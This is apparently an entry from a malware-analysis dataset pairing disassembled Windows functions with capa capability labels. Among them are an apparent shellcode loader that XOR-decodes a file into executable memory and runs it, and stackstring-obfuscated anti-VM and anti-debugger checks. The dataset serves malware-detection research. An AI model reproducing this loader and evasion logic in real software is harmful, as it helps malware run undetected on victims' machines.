joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408b63
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi], ebx
jne 0x408bf9
cmp dword [esi + 4], 0xffffffff
jne 0x408bf9
lea edi, [esi + 0x244]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x408b94
sub ecx, edx
sar ecx, 1
movzx eax, word [esi + ecx*2 + 0x242]
cmp eax, 0x5c
je 0x408bcb
cmp eax, 0x2f
je 0x408bcb
sub edi, 2
mov ax, word [edi + 2]
lea edi, [edi + 2]
cmp ax, bx
jne 0x408bb8
mov eax, dword [0x498504]
mov dword [edi], eax
lea eax, [ebp - 4]
push eax
push ecx
call fcn.00407e0c
pop ecx
pop ecx
test eax, eax
jne 0x408be0
mov eax, dword [ebp - 4]
jmp 0x408bfe
mov ecx, eax
call fcn.004081f4
xor ecx, ecx
mov dword [esi], eax
test eax, eax
mov edx, 0x200
cmove ecx, edx
mov eax, ecx
jmp 0x408bfe
mov eax, 0x1000000
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x409245
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x49d094]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov ebx, edx
test esi, esi
je 0x409279
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x409279
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
movzx eax, word [ebx]
test ax, ax
je 0x40935c
mov edi, ebx
mov ecx, ebx
mov edx, eax
cmp dx, 0x2f
je 0x409297
cmp dx, 0x5c
jne 0x409299
mov edi, ecx
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x40928b
cmp edi, ebx
je 0x4092e3
sub edi, ebx
lea eax, [ebp - 0x414]
and edi, 0xfffffffe
push edi
push ebx
push eax
call fcn.0045a350
add esp, 0xc
cmp edi, 0x208
jae 0x40936b
xor eax, eax
lea edx, [ebp - 0x414]
mov ecx, esi
mov word [ebp + edi - 0x414], ax
call fcn.00409245
xor eax, eax
mov word [ebp - 0x20c], ax
test esi, esi
je 0x409307
lea ecx, [ebp - 0x20c]
sub ecx, esi
movzx eax, word [esi]
mov word [ecx + esi], ax
lea esi, [esi + 2]
test ax, ax
jne 0x4092f8
mov esi, ebx
xor ecx, ecx
mov ax, word [ebx]
add ebx, 2
cmp ax, cx
jne 0x40930b
lea edi, [ebp - 0x20c]
sub ebx, esi
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, cx
jne 0x409321
mov ecx, ebx
lea eax, [ebp - 0x20c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40935c
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004582a0
leave
ret
call fcn.0045843f
int3
Function at 0x409cc5
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push esi
mov esi, ecx
movsx eax, dl
mov ecx, dword [esi]
xor eax, ecx
movzx eax, al
shr ecx, 8
xor ecx, dword [eax*4 + 0x497c68]
movzx eax, cl
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
mov dword [esi], ecx
mov ecx, dword [esi + 8]
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x497c68]
mov dword [esi + 8], ecx
pop esi
ret

Function at 0x409d6a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x49d094]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 0xc]
cmp byte [esi + 0x2d], 0
je 0x409deb
mov ecx, dword [esi + 0x3c]
mov eax, ecx
test ecx, ecx
je 0x409da5
cmp dword [esi + 0x40], edi
jae 0x409da5
push ecx
call fcn.004582ae
and dword [esi + 0x3c], 0
pop ecx
jmp 0x409da9
test eax, eax
jne 0x409db9
lea eax, [edi + edi]
push eax
call fcn.004582f1
pop ecx
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], edi
push edi
push ebx
push eax
call fcn.0045a350
add esp, 0xc
xor ebx, ebx
test edi, edi
je 0x409de8
lea eax, [esi + 0x30]
mov edx, dword [esi + 0x3c]
mov ecx, eax
mov dl, byte [edx + ebx]
call fcn.00409d08
mov ecx, dword [esi + 0x3c]
mov byte [ebx + ecx], al
inc ebx
lea eax, [esi + 0x30]
cmp ebx, edi
jb 0x409dcd
mov ebx, dword [esi + 0x3c]
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x409e1a
mov edx, dword [esi + 0x24]
lea eax, [edx + edi]
cmp eax, dword [esi + 0x28]
jb 0x409e06
mov dword [esi + 0x14], 0x30000
jmp 0x409e3c
push edi
add ecx, edx
push ebx
push ecx
call fcn.0045a350
add esp, 0xc
mov eax, edi
add dword [esi + 0x24], edi
jmp 0x409e3e
mov eax, dword [esi + 4]
test eax, eax
je 0x409e35
push 0
lea ecx, [ebp - 8]
push ecx
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
jmp 0x409e3e
mov dword [esi + 0x14], 0x1000000
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004582a0
leave
ret 8
Function at 0x40a07e
Capabilities:
Contain obfuscated stackstrings
Get system information on windows

Disassembly:
push 0x58
push 0x49a368
call fcn.00480790
mov dword [ebp - 0x38], 0x4e52454b
mov dword [ebp - 0x34], 0x32334c45
mov dword [ebp - 0x30], 0x6c6c642e
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0x74726956
mov dword [ebp - 0x24], 0x466c6175
mov dword [ebp - 0x20], 0x656572
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov dword [ebp - 0x68], ebx
and dword [ebp - 0x3c], 0
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [ebp - 0x5c]
push 4
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0x64], esi
test esi, esi
je 0x40a148
mov byte [esi], 0xc3
lea eax, [ebp - 0x3c]
push eax
push 0x120
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
and dword [ebp - 4], 0
call dword [ebp - 0x64]
push 0x8000
push 0
push esi
call ebx
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
inc eax
jmp 0x40a14a
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a230
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x49d094]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x41
pop eax
push 0x56
pop ecx
push 0x2e
mov byte [ebp - 0x20], al
mov byte [ebp - 0x1d], al
pop eax
push 0x6c
pop ebx
push 0x65
mov byte [ebp - 0x1e], cl
pop ecx
push 0x4f
mov byte [ebp - 0x18], al
pop eax
push 0x70
mov byte [ebp - 0xd], al
pop eax
push 0x6e
mov byte [ebp - 0xc], al
pop eax
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
mov byte [ebp - 0x1f], 0x44
push eax
mov dword [ebp - 0x1c], 0x32334950
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], bl
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x10], 0x52
mov byte [ebp - 0xf], cl
mov byte [ebp - 0xe], 0x67
mov byte [ebp - 0xb], cl
mov byte [ebp - 9], 0x4b
mov byte [ebp - 8], cl
mov word [ebp - 7], 0x5779
mov byte [ebp - 5], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x5c
pop ecx
push 0x41
mov word [ebp - 0x68], cx
mov word [ebp - 0x66], cx
pop ecx
push 0x70
mov word [ebp - 0x64], cx
pop ecx
push 0x69
pop edx
push 0x63
mov word [ebp - 0x62], cx
mov word [ebp - 0x60], cx
pop ecx
push 0x61
pop esi
push 0x74
mov word [ebp - 0x5e], bx
pop ebx
push 0x6f
pop edi
push 0x6e
mov word [ebp - 0x5a], cx
pop ecx
push 0x73
mov word [ebp - 0x5c], dx
mov word [ebp - 0x54], dx
pop edx
mov word [ebp - 0x58], si
mov word [ebp - 0x56], bx
mov word [ebp - 0x52], di
mov word [ebp - 0x50], cx
mov word [ebp - 0x4e], dx
push 0x5c
pop ecx
push 0x56
mov word [ebp - 0x4c], cx
mov word [ebp - 0x4a], cx
pop ecx
push 0x4d
mov word [ebp - 0x48], cx
pop ecx
push 0x77
mov word [ebp - 0x46], cx
pop ecx
push 0x72
mov word [ebp - 0x44], cx
pop ecx
push 0x65
mov word [ebp - 0x40], cx
mov word [ebp - 0x42], si
pop esi
push 0x48
pop ecx
push 0x4f
mov word [ebp - 0x3c], cx
pop ecx
push 0x70
mov word [ebp - 0x34], cx
pop ecx
push 0x6e
mov word [ebp - 0x32], cx
pop ecx
push 0x2e
mov word [ebp - 0x2e], cx
pop ecx
push 0x78
mov word [ebp - 0x2c], cx
pop ecx
mov word [ebp - 0x28], cx
xor ecx, ecx
mov word [ebp - 0x24], cx
lea ecx, [ebp - 0x6c]
push ecx
lea ecx, [ebp - 0x68]
mov word [ebp - 0x3e], si
push ecx
push connect
mov word [ebp - 0x3a], di
mov word [ebp - 0x38], dx
mov word [ebp - 0x36], bx
mov word [ebp - 0x30], si
mov word [ebp - 0x2a], si
mov word [ebp - 0x26], si
call eax
mov ecx, dword [ebp - 4]
neg eax
pop edi
sbb eax, eax
xor ecx, ebp
pop esi
inc eax
pop ebx
call fcn.004582a0
leave
ret
Function at 0x40a3b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x49d094]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x41
pop ecx
push 0x56
pop eax
push 0x64
mov byte [ebp - 0x1e], al
pop eax
push 0x6c
mov byte [ebp - 0x17], al
pop eax
push 0x52
mov byte [ebp - 0x16], al
mov byte [ebp - 0x15], al
pop eax
push 0x65
mov byte [ebp - 0x20], cl
mov byte [ebp - 0x1d], cl
pop ecx
push 0x4f
mov byte [ebp - 0x10], al
pop eax
push 0x6e
mov byte [ebp - 0xd], al
pop eax
push 0x57
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x10]
pop ebx
push eax
lea eax, [ebp - 0x20]
mov byte [ebp - 0x1f], 0x44
push eax
mov dword [ebp - 0x1c], 0x32334950
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x14], 0
mov byte [ebp - 0xf], cl
mov byte [ebp - 0xe], 0x67
mov byte [ebp - 0xc], 0x70
mov byte [ebp - 0xb], cl
mov byte [ebp - 9], 0x4b
mov byte [ebp - 8], cl
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], bl
mov byte [ebp - 5], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x53
pop ecx
push 0x4f
pop esi
push 0x46
mov word [ebp - 0x7c], cx
pop ecx
push 0x54
mov word [ebp - 0x78], cx
pop ecx
push 0x41
mov word [ebp - 0x76], cx
pop ecx
push 0x52
mov word [ebp - 0x72], cx
pop ecx
push 0x45
mov word [ebp - 0x70], cx
pop ecx
push 0x5c
pop edx
push 0x72
mov word [ebp - 0x7a], si
mov word [ebp - 0x68], si
pop esi
mov word [ebp - 0x74], bx
mov word [ebp - 0x6e], cx
mov word [ebp - 0x6c], dx
mov word [ebp - 0x6a], dx
mov word [ebp - 0x66], si
push 0x61
pop edi
push 0x63
pop ecx
push 0x6c
mov word [ebp - 0x62], cx
pop ecx
push 0x65
mov word [ebp - 0x60], cx
pop ecx
push 0x56
mov word [ebp - 0x5e], cx
pop ecx
push 0x69
mov word [ebp - 0x58], cx
pop ecx
push 0x74
pop ebx
push 0x75
mov word [ebp - 0x56], cx
mov word [ebp - 0x54], si
pop esi
push 0x6c
pop ecx
push 0x42
mov word [ebp - 0x4c], cx
pop ecx
push 0x6f
mov word [ebp - 0x4a], cx
mov word [ebp - 0x64], di
mov word [ebp - 0x4e], di
pop edi
push 0x78
pop ecx
push 0x20
mov word [ebp - 0x5c], dx
mov word [ebp - 0x5a], dx
pop edx
push 0x47
mov word [ebp - 0x46], cx
pop ecx
push 0x65
mov word [ebp - 0x42], cx
pop ecx
push 0x73
mov word [ebp - 0x3e], cx
pop ecx
push 0x41
mov word [ebp - 0x44], dx
mov word [ebp - 0x38], dx
pop edx
push 0x64
mov word [ebp - 0x36], dx
pop edx
push 0x69
mov word [ebp - 0x3c], cx
mov word [ebp - 0x34], dx
mov word [ebp - 0x32], dx
pop edx
mov word [ebp - 0x26], cx
xor ecx, ecx
push 0x6e
mov word [ebp - 0x24], cx
lea ecx, [ebp - 0x80]
mov word [ebp - 0x30], dx
mov word [ebp - 0x2c], dx
pop edx
push ecx
lea ecx, [ebp - 0x7c]
mov word [ebp - 0x52], bx
push ecx
push reloc.WS2_32.dll_bind
mov word [ebp - 0x50], si
mov word [ebp - 0x48], di
mov word [ebp - 0x40], si
mov word [ebp - 0x3a], bx
mov word [ebp - 0x2e], bx
mov word [ebp - 0x2a], di
mov word [ebp - 0x28], dx
call eax
neg eax
sbb eax, eax
mov ecx, dword [ebp - 4]
inc eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004582a0
leave
ret
Function at 0x40a888
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
test esi, esi
jg 0x40a8b2
jl 0x40a8a9
test ebx, ebx
jne 0x40a8b2
xor eax, eax
xor edx, edx
jmp 0x40a96a
cmp dword [ecx + 0x38], 0
je 0x40a8c5
push esi
push ebx
push edx
call fcn.0040ae44
jmp 0x40a96a
mov eax, dword [ecx + 0x1c]
push edi
mov edi, ebx
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40a905
mov eax, dword [ecx + 0x2c]
cmp dword [eax], 0
jbe 0x40a905
cmp dword [eax], ebx
mov esi, ebx
cmovb esi, dword [eax]
push esi
push dword [ebp - 0xc]
push edx
call fcn.0045a350
mov ecx, dword [ebp - 8]
sub edi, esi
add dword [ebp - 4], esi
add esp, 0xc
mov eax, dword [ecx + 0x2c]
sub dword [eax], esi
mov eax, dword [ecx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0x10]
cmp dword [ecx + 0x4c], 0
je 0x40a960
call fcn.0040b320
mov ecx, dword [ebp - 4]
mov edx, edi
cmp edi, 0xfff
jbe 0x40a948
mov eax, dword [ebp - 8]
push dword [eax + 0x4c]
push 0xfff
push 1
push ecx
call fcn.00462962
mov ecx, dword [ebp - 4]
sub edi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x40a960
jmp 0x40a915
test edx, edx
je 0x40a960
mov eax, dword [ebp - 8]
push dword [eax + 0x4c]
push edi
push 1
push ecx
call fcn.00462962
add esp, 0x10
sub edi, eax
sub ebx, edi
mov eax, ebx
sbb esi, 0
mov edx, esi
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40bc86
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
ret
Function at 0x40da44
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x49d094]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push 4
push esi
push esi
push connect
push str.C:Program_Filescb.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40da81
push str.CreateFile_Error
call fcn.0040b810
pop ecx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x40dab5
push str.VirtualAlloc_Error
call fcn.0040b810
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test edi, edi
je 0x40dadc
mov al, byte [esi]
xor al, 0x7b
add al, 0x7b
xor al, 0x7b
mov byte [esi], al
inc esi
sub edi, 1
jne 0x40dacc
call dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004582a0
leave
ret

Function at 0x40daee
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x49d094]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 1
call fcn.004582b3
pop ecx
mov esi, eax
call fcn.0040a15a
xor ebx, ebx
test eax, eax
je 0x40db1c
push ebx
call dword [0x49f20c]
call fcn.0040a07e
test eax, eax
je 0x40db2c
push ebx
call dword [0x49f20c]
call fcn.0040a230
test eax, eax
je 0x40db3c
push ebx
call dword [0x49f20c]
call fcn.0040a3b0
test eax, eax
je 0x40db4c
push ebx
call dword [0x49f20c]
movaps xmm0, xmmword [str.IsDebuggerPresenC:windows_sys]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x6e72654b
push eax
mov dword [ebp - 0xc], 0x32336c65
mov byte [ebp - 8], bl
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x74
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
test eax, eax
je 0x40db90
push ebx
call dword [0x49f20c]
push 1
push esi
call fcn.004582e3
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004582a0
leave
ret
Function at 0x417870
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, 0x1505
push edi
lea edi, [esi + eax]
cmp esi, edi
jae 0x4178a6
mov al, byte [esi]
push eax
call fcn.00425ff0
movsx ecx, al
inc esi
mov eax, ebx
add esp, 4
shl eax, 5
add eax, ebx
xor ecx, eax
mov ebx, ecx
cmp esi, edi
jb 0x417888
pop edi
pop esi
movzx eax, bl
pop ebx
pop ebp
ret
Function at 0x4215d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x49d094]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
push ebx
push esi
mov eax, dword [edx + 0xc]
mov esi, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0x10]
mov ebx, dword [eax + ecx*4 + 0x158]
push ecx
push eax
push edx
mov dword [ebp - 0x108], edx
call fcn.00421a50
add esp, 0xc
test eax, eax
je 0x42162b
pop edi
mov dword [esi], 0x1b
or eax, 0xffffffff
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004582a0
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp + 0x14]
push edi
push ebx
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
mov dword [esi], 0
cmp edi, 0xffffffff
jne 0x4216a8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp ebx, 0x2733
jne 0x421670
xor edi, edi
mov dword [esi], 0x51
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004582a0
mov esp, ebp
pop ebp
ret
push 0x100
lea eax, [ebp - 0x104]
push eax
push ebx
call fcn.0040f950
push eax
push str.Send_failure:__s
push dword [ebp - 0x108]
call fcn.00421260
mov eax, dword [ebp - 0x108]
add esp, 0x18
mov dword [eax + 0x958], ebx
mov dword [esi], 0x37
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004582a0
mov esp, ebp
pop ebp
ret

Function at 0x421a50
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push ebx
push esi
lea esi, [edx + 0x18]
mov eax, dword [ecx + 0x298]
shl esi, 4
add esi, ecx
push edi
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x40], 3
je 0x421b0b
cmp dword [ecx + edx*4 + 0x170], 0x4214d0
jne 0x421b0b
cmp dword [esi], 0
je 0x421a94
test edi, edi
je 0x421b0b
mov ebx, dword [ecx + edx*4 + 0x158]
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebx
call fcn.0042fe40
add esp, 0x14
cmp eax, 0xffffffff
je 0x421b0b
test al, 1
je 0x421b0b
mov ecx, dword [esi]
test ecx, ecx
jne 0x421af4
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x4d8]
add eax, eax
push eax
mov dword [esi + 4], eax
call dword [section..data]
mov ecx, eax
add esp, 4
mov dword [esi], ecx
test ecx, ecx
jne 0x421ae3
pop edi
pop esi
lea eax, [ecx + 0x1b]
pop ebx
pop ebp
ret
mov edi, dword [esi + 4]
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov eax, dword [esi + 8]
push 0
push edi
add eax, ecx
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x421b0b
add dword [esi + 8], eax
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x421ca0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp byte [eax + 0x1ac], 0
je 0x421cc0
push eax
call fcn.0041bda0
add esp, 4
test eax, eax
jne 0x421cde
xor al, al
pop ebp
ret
mov eax, dword [eax + 0x158]
cmp eax, 0xffffffff
je 0x421cbc
push 2
push 1
lea ecx, [ebp + 0xb]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x421cbc
mov al, 1
pop ebp
ret
Function at 0x421ed0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
mov eax, dword [0x49d094]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x184]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x14]
push 0x80
push 0
push eax
mov dword [ebp - 0x188], 0x80
call fcn.00459f80
add esp, 0xc
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x184]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x421f4d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
lea eax, [ebp - 0x104]
push 0x100
push eax
push esi
call fcn.0040f950
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
jmp 0x421f90
push edi
push esi
push dword [ebp - 0x188]
lea eax, [ebp - 0x184]
push eax
call fcn.00421b20
add esp, 0x10
test al, al
jne 0x421f99
call fcn.00463252
mov esi, dword [eax]
call fcn.00463252
mov edi, eax
lea eax, [ebp - 0x104]
push 0x100
push eax
push esi
call fcn.0040f950
push eax
push dword [edi]
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push ebx
call fcn.00421260
add esp, 0x1c
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004582a0
mov esp, ebp
pop ebp
ret

Function at 0x4226a0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x49e324]
mov dword [ebp - 8], 0x4020
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 4
test eax, eax
jne 0x4226f1
push 3
push 2
push eax
push 6
call fcn.0044bbc0
add esp, 0x10
test al, al
je 0x4226e5
mov dword [0x49e324], 2
mov esp, ebp
pop ebp
ret
mov dword [0x49e324], 1
jmp 0x4226f6
cmp eax, 2
je 0x422736
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x42271d
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jg 0x422736
push 4
lea eax, [ebp - 8]
push eax
push 0x1001
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
mov esp, ebp
pop ebp
ret
Function at 0x423510
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x49d094]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
push 4
cmp byte [esi + 0x710], al
setne al
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 8
push 0xffff
push edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x42356d
push edi
push str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
push esi
call fcn.00421320
add esp, 0xc
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004582a0
mov esp, ebp
pop ebp
ret
push dword [esi + 0x6a8]
mov dword [ebp - 0x10], 1
call fcn.00423780
push dword [esi + 0x6ac]
imul eax, eax, 0x3e8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
call fcn.00423780
add esp, 8
imul eax, eax, 0x3e8
push 0
push 0
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x4235dd
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push edi
push str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
push esi
call fcn.00421320
add esp, 0x10
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004582a0
mov esp, ebp
pop ebp
ret

Function at 0x4235f0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x49d094]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push 4
push eax
push 1
push 6
push dword [ebp + 0xc]
mov dword [ebp - 0x108], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jns 0x423652
push 0x100
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.0040f950
push eax
push str.Could_not_set_TCP_NODELAY:__s_n
push esi
call fcn.00421320
add esp, 0x18
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004582a0
mov esp, ebp
pop ebp
ret